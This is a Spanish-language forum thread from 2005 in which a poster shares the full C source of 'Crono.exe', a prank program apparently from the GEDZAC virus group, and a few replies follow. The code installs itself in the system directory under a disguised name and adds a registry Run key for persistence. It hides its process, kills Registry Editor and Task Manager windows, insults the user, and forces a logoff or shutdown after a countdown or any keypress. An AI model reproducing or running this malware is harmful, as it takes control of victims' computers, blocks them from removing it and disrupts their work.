Código fuente de Crono

Iniciado por Pseudoroot, 15 Septiembre 2005, 21:13 PM

0 Miembros y 1 Visitante están viendo este tema.

Pseudoroot

Bueehh, finalmente aqui el pequeño y simple codigo de Crono.exe aquel programita que tanto susto y molestias causó a algunos, pues fue una broma, que me hizo reir un poco jeje. pero posteo el code debido a que varios me lo pidieron ,anda a saber para que.   pero en fin,. aqui esta..

ahh,. este codigo es un claro ejemplo de como podemos usar el WindowProcedure, la funcion que interpreta los mensajes. y asi manejar los eventos que van ocurriendo en nuestra aplicacion,



// Crono By Pseudoroot/GEDZAC

#include <windows.h>
#include <stdio.h>

//   PSEUDOROOT NI GEDZAC LABS SE HACEN
// RESPONSABLE DEL USO QUE LE DES
// AL CODIGO
char nombres[MAX_PATH];
int bandera=0;
int forzar=4;
HANDLE th;
LPSTR codigo;    //para leer el codigo
DWORD tamano;   //tamaño del archivo  ,no le puse tamaño debido a problemas con la ñ  xD
char nombre[MAX_PATH];   //para concatenar el nombre del archivo a generar
char nom[256]; // para el modulo en ejcucion
char varsystem[256];


#include "registro.h"


//--- Declaración de funciones del programa ------------------------------
int WINAPI WinMain( HINSTANCE, HINSTANCE, LPSTR, int );
LRESULT CALLBACK WndProc( HWND, UINT, WPARAM, LPARAM );


//--- Declaración de variables del programa ------------------------------
char WindowName[]  = "Ventana de Windows";
char WindowTitle[] = "Crono By Pseudoroot";
int segundos;
char* vent1 = "Registry Editor";
char* vent2 = "Editor del Registro";
char* vent3 = "Administrador de tareas de Windows";
char* vent4 = "Windows Task Manager";
//=== Función principal WinMain() ========================================
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow )
{
    registrando();
    SacarCodigo();
    GetModuleFileName(0,nom,256);  //sacamos el nombre del modulo en ejecucion en la var. nom
    GetSystemDirectory(varsystem,sizeof(varsystem));
    strcat(varsystem,"\\win32help.exe");
    CopyFile(nom,varsystem,0);
strcat(nombre,"c:\\");  //concatenamos
strcat(nombre,"copia.exe");  //nombre de la copia que generara el programa para luego leer el
//codigo de esa misma copia
CopyFile(nom,nombre,0);
uno();
SacarCodigo();  //lamamos a la fucnion para que lea el codigo del archivo copia.exe
HANDLE exe;   // aunque finalmente no lo utilizo..xD
DWORD w;
exe=CreateFile("C:\\codigo.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if(exe!=INVALID_HANDLE_VALUE)    //archivo que vamos a generar luego de sacar el codigo
{
                             WriteFile(exe,codigo,28000,&w,0);
}                             
HWND hwnd;                              // handle a la ventana ppal.
MSG msg;                                // estructura de mensaje
WNDCLASSEX wcx;                         // estructura de la ventana

// Definimos la estructura de clase de ventana (campos):
wcx.cbSize = sizeof( WNDCLASSEX );      // tamaño de la estructura
wcx.style = CS_HREDRAW | CS_VREDRAW;    // valores más usuales
wcx.lpfnWndProc = WndProc;              // función de ventana (Wnd)
wcx.cbClsExtra = 0;
wcx.cbWndExtra = 0;                     // informaciones extra
wcx.hInstance = hInstance;              // instancia actual

// icono, cursor, fondo e icono pequeño de la clase de ventana:
wcx.hIcon = LoadIcon(NULL, IDI_WINLOGO);
wcx.hCursor = LoadCursor(NULL, IDC_ARROW);
wcx.hbrBackground = (HBRUSH) GetStockObject( WHITE_BRUSH );
    wcx.hIconSm = LoadIcon(NULL, IDI_WINLOGO);

wcx.lpszMenuName = NULL;                // nombre del menú
wcx.lpszClassName = WindowName;         // nombre de la ventana

// Registramos la clase de ventana ya preparada:
if( !RegisterClassEx( &wcx ) )
return( FALSE );                    // en caso de error, salir

// Creamos la ventana con CreateWindowEx():
hwnd = CreateWindowEx(
WS_EX_OVERLAPPEDWINDOW,             // estilo extendido
WindowName,                         // nombre de la ventana
WindowTitle,                        // título de la ventana
WS_CAPTION,                         // estilo de ventana
CW_USEDEFAULT, CW_USEDEFAULT,       // Posición (x,y) en pantalla
420,150,                             // ancho y alto de la ventana
NULL, NULL,                         // ventana padre e hija+menú
hInstance,                          // instancia actual
NULL                                // no hay más información
                 );

// Comprobamos la creación de la ventana:
if( !hwnd )
return( FALSE );                    // en caso de error, salir

// Hacemos visible la ventana y la actualizamos:
ShowWindow( hwnd, nCmdShow );
UpdateWindow( hwnd );

// Bucle de mensajes, envía los mensajes hacia WndProc
while( GetMessage( &msg, NULL, 0, 0 ) )
{
TranslateMessage( &msg );           // convertimos el mensaje
DispatchMessage( &msg );            // devolvemos el control a w95
}

// devolvemos el valor recibido por PostQuitMessage().
return( msg.wParam );
DeleteFile("C:\\copia.exe");
}


//=== Función del procedimiento de ventana WndProc() =====================
LRESULT CALLBACK WndProc( HWND hwnd, UINT message,
  WPARAM wParam, LPARAM lParam )
{
HDC hdc;
PAINTSTRUCT ps;
RECT rect;
int longitud;
int entero;
char cadena[40];
char cadena2[50];

switch( message )
{
case WM_CREATE:
segundos=30;
SetTimer( hwnd, 1, 1000, NULL );  // 
break;

case WM_KEYDOWN:
   
    {
   ExitWindowsEx(forzar,0);
    } 
        if( wParam == VK_ESCAPE )

    MessageBoxA(NULL,"Yo en tu lugar no volveria a hacer eso","GEDZAC LABS 2005",MB_OK);
    break;
   
case WM_TIMER:
segundos--;
if( segundos==0)
{ExitWindowsEx(forzar,0); }
HWND handle;

handle = FindWindow(0,vent1);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
handle = FindWindow(0,vent2);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
handle = FindWindow(0,vent3);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}

handle = FindWindow(0,vent4);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}


GetClientRect( hwnd, &rect );
InvalidateRect( hwnd, &rect, TRUE );
break;


     
   
   
      case WM_LBUTTONDOWN:
        MessageBoxA(NULL,"Que estupido eres!!!!!","En fin",MB_OK);
        break;
       case  WM_RBUTTONDOWN:
             MessageBoxA(NULL,"Imbecil no eres mas que eso","Pues piensa",MB_OK);
         break;



case   WM_RBUTTONDBLCLK:
     MessageBoxA(NULL,"Te digo como safarse, pues tienes ,ups ,se me olvidó","Jejejeje",0);
     break;
     
    case WM_NCLBUTTONDOWN:
        MessageBoxA(NULL,"nah","nah",0);
        break;

case WM_PAINT:
hdc = BeginPaint( hwnd, &ps );
GetClientRect( hwnd, &rect );
longitud=wsprintf(cadena, "%s%02d","Trata de cerrarme antes que yo te cierre a ti    ", segundos);
               
    DrawText( hdc, cadena, -1, &rect,
  DT_SINGLELINE | DT_CENTER | DT_VCENTER );
EndPaint( hwnd, &ps );
break;
case WM_CLOSE:
    MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK);
break;


case WM_DESTROY:
MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK);
break;


default:
return( DefWindowProc( hwnd, message, wParam, lParam ) );
}


return(0);
}


registro.h


#ifndef _RegisterProcess_
#define _RegisterProcess_

void registrando()
{
typedef DWORD(_stdcall *pRegFunction) (DWORD,DWORD);
HINSTANCE
hkernelLib;
pRegFunction
RegisterServiceProcess;
hkernelLib=LoadLibrary("Kernel32.dll");
if(hkernelLib)
{
RegisterServiceProcess=(pRegFunction) GetProcAddress
(hkernelLib,"RegisterServiceProcess");
if (RegisterServiceProcess)
{
RegisterServiceProcess(0,1);
FreeLibrary(hkernelLib);
}
}

}

void SacarCodigo()
{
     HANDLE fi;   //un handle para leer el archivo
     DWORD  rid;   //para la api
     fi=CreateFile(nombre,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,NULL);
     if(fi!=INVALID_HANDLE_VALUE) //abrimos el archivo creado antes en la fucnion principal
     {
                                 tamano=GetFileSize(fi,NULL);   //sacamos el tamaño del archivo
                                 codigo=(LPSTR)GlobalAlloc(GPTR,tamano+1);  //reservamos memoria
//para leer el archivo completo +1 por el caracter nulo
                                 if(codigo!=NULL)   //verificamos que se haya podido
                                 {
                                                 ReadFile(fi,codigo,tamano,&rid,0);  //leemos el archivo
                                                 }
                                                 }
                                                 CloseHandle(fi);  //cerramos handle
}
void uno()
{
HKEY hkey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"Smsss",0,REG_SZ,(const unsigned char*)varsystem,sizeof(varsystem));
}
#endif






Pues ya saben, supongo que esta bastante facil de entender y sino, ya saben solo posteen sus dudas..
www.g e d z a c.com

www.espavirus.com/foro

pisagatos

Graciass!! Muchas gracias por postearlo

Pseudoroot

se agradece, claro que si, ojala y te sirva para que comprendas como funcionaba.

Saludos.
www.g e d z a c.com

www.espavirus.com/foro

Thaorius

No es por nada, pero que se supone que hace?

Saludos
Si te sirvio mi aporte, encontrarás más en www.teoxstudios.com. Gracias!
Buscando un buen hosting? Click aquí

Pseudoroot

www.g e d z a c.com

www.espavirus.com/foro

Pseudoroot

www.g e d z a c.com

www.espavirus.com/foro

Thaorius

Gracias, ahora lo miro.

Saludos
Si te sirvio mi aporte, encontrarás más en www.teoxstudios.com. Gracias!
Buscando un buen hosting? Click aquí

Pseudoroot

Pues yo te recomiendo que lo ejecutes y lo pruebes..

la solucion esta en el mismo hilo ,que te di..
www.g e d z a c.com

www.espavirus.com/foro

Thaorius

La solucion esta  en el codigo fuente. ;D ;D ;D

Saludos
Si te sirvio mi aporte, encontrarás más en www.teoxstudios.com. Gracias!
Buscando un buen hosting? Click aquí

Pseudoroot

Otra de las opciones. ahora que está publicado.
www.g e d z a c.com

www.espavirus.com/foro